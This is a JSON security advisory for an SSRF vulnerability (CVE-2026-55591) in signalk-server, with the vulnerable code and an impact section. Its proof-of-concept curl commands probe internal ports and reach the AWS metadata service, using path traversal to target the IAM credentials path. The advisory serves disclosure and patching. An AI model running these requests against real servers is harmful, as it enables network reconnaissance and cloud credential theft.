{"id":"CVE-2026-55591","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55591","summary":"Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints","details":"### Summary\nsignalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.\n\nWhen security is not configured (the default state), these endpoints require **no authentication**.\n\n### Details\n#### Vulnerable Function\n\nThe core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:\n\n```typescript\nfunction makeRemoteRequest(\n  host: string,\n  port: number,\n  useTLS: boolean,\n  selfsignedcert: boolean,\n  path: string,\n  method?: string,\n  headers?: Record<string, string>,\n  body?: unknown\n): Promise<{ status: number | undefined; data: string }> {\n  const protocol = useTLS ? https : http\n  return new Promise((resolve, reject) => {\n    const options = {\n      hostname: host,         // NO VALIDATION - attacker controlled\n      port,                   // NO VALIDATION - attacker controlled\n      path,\n      method: method || 'GET',\n      headers: {\n        ...(headers || {}),\n        ...(body ? { 'Content-Type': 'application/json' } : {})\n      },\n      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification\n    }\n    const req = protocol.request(options, (response) => {\n      let data = ''\n      response.on('data', (chunk: string) => {\n        data += chunk\n      })\n      response.on('end', () => {\n        resolve({ status: response.statusCode, data })\n      })\n    })\n    req.on('error', reject)\n    req.setTimeout(10000, () => {\n      req.destroy(new Error('Connection timed out'))\n    })\n    if (body) {\n      req.write(JSON.stringify(body))\n    }\n    req.end()\n  })\n}\n```\n\n#### Missing Validation\n\nThe function performs **zero validation** on the destination host. The following address ranges are all reachable:\n\n- **Loopback**: `127.0.0.1`, `::1`, `localhost`\n- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`\n- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)\n- **IPv6 link-local**: `fe80::/10`\n- **Any arbitrary external host**: enabling the server as an open proxy\n\n#### Authentication Bypass via Default Configuration\n\nThe endpoints are protected by `addAdminMiddleware()` (lines 2339-2345):\n\n```typescript\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)\napp.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)\n```\n\nHowever, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:\n\n```typescript\naddAdminMiddleware: () => {},\n```\n\nThis means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.\n\n#### Additional Attack Surface: TLS Verification Bypass\n\nThe `selfsignedcert` parameter directly controls `rejectUnauthorized`:\n\n```typescript\nrejectUnauthorized: !selfsignedcert\n```\n\nWhen an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.\n\n#### Additional Attack Surface: Path Traversal in checkAccessRequest\n\nThe `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:\n\n```typescript\n`/signalk/v1/requests/${requestId}`\n```\n\nAn attacker can use path traversal (e.g., `requestId: \"../../other/endpoint\"`) to target arbitrary paths on the destination host.\n\n### PoC\n#### Target Setup\n\nSet up a bare-metal signalk-server for testing (or use Docker to simulate):\n\n```bash\ndocker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \\\n  bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'\n\n# Wait for startup\nuntil curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q \"status\"; do sleep 10; done\n```\n\nSet the target variable:\n\n```bash\nTARGET=http://127.0.0.1:3000\n```\n\nConfirm `\"authenticationRequired\":false` in the loginStatus response before proceeding.\n\n#### PoC 1: Loopback Connection (Self-Discovery)\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}'\n```\n\n**Response** (confirms SSRF, the server connected to itself):\n\n```json\n{\n  \"success\": true,\n  \"authenticated\": false,\n  \"server\": {\n    \"id\": \"signalk-server-node\",\n    \"version\": \"2.27.0\"\n  }\n}\n```\n\n#### PoC 2: Port Scanning via Error Differentiation\n\n```bash\n# Open port (3000) — returns server data\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}'\n# Response: {\"success\":true,\"server\":{\"id\":\"signalk-server-node\",\"version\":\"2.27.0\"}}\n\n# Closed port (9999) — immediate ECONNREFUSED\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"127.0.0.1\",\"port\":9999,\"useTLS\":false,\"selfsignedcert\":false}'\n# Response: {\"success\":false,\"error\":\"connect ECONNREFUSED 127.0.0.1:9999\"}\n\n# Filtered port — 10-second timeout then error\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"10.0.0.1\",\"port\":22,\"useTLS\":false,\"selfsignedcert\":false}'\n# Response (after 10s): {\"success\":false,\"error\":\"Connection timed out\"}\n```\n\nThe three distinct error responses allow an attacker to map internal network topology.\n\n#### PoC 3: AWS Instance Metadata Service (IMDSv1)\n\nOn a cloud-hosted signalk-server (AWS EC2):\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false}'\n```\n\nThe server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:\n\n```bash\ncurl -s -X POST $TARGET/skServer/checkAccessRequest \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false,\"requestId\":\"../../latest/meta-data/iam/security-credentials/ROLE_NAME\"}'\n```\n\n### Impact\n1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).\n\n2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.\n\n3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.\n\n4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.\n\n5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.","published":"2026-06-18T21:13:36Z","modified":"2026-06-18T21:41:26.036368Z","cvss":{"score":5.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"signalk-server","fixedVersion":"2.28.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-q59x-jc9f-gfqf"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-18T21:41:26.036368Z"}}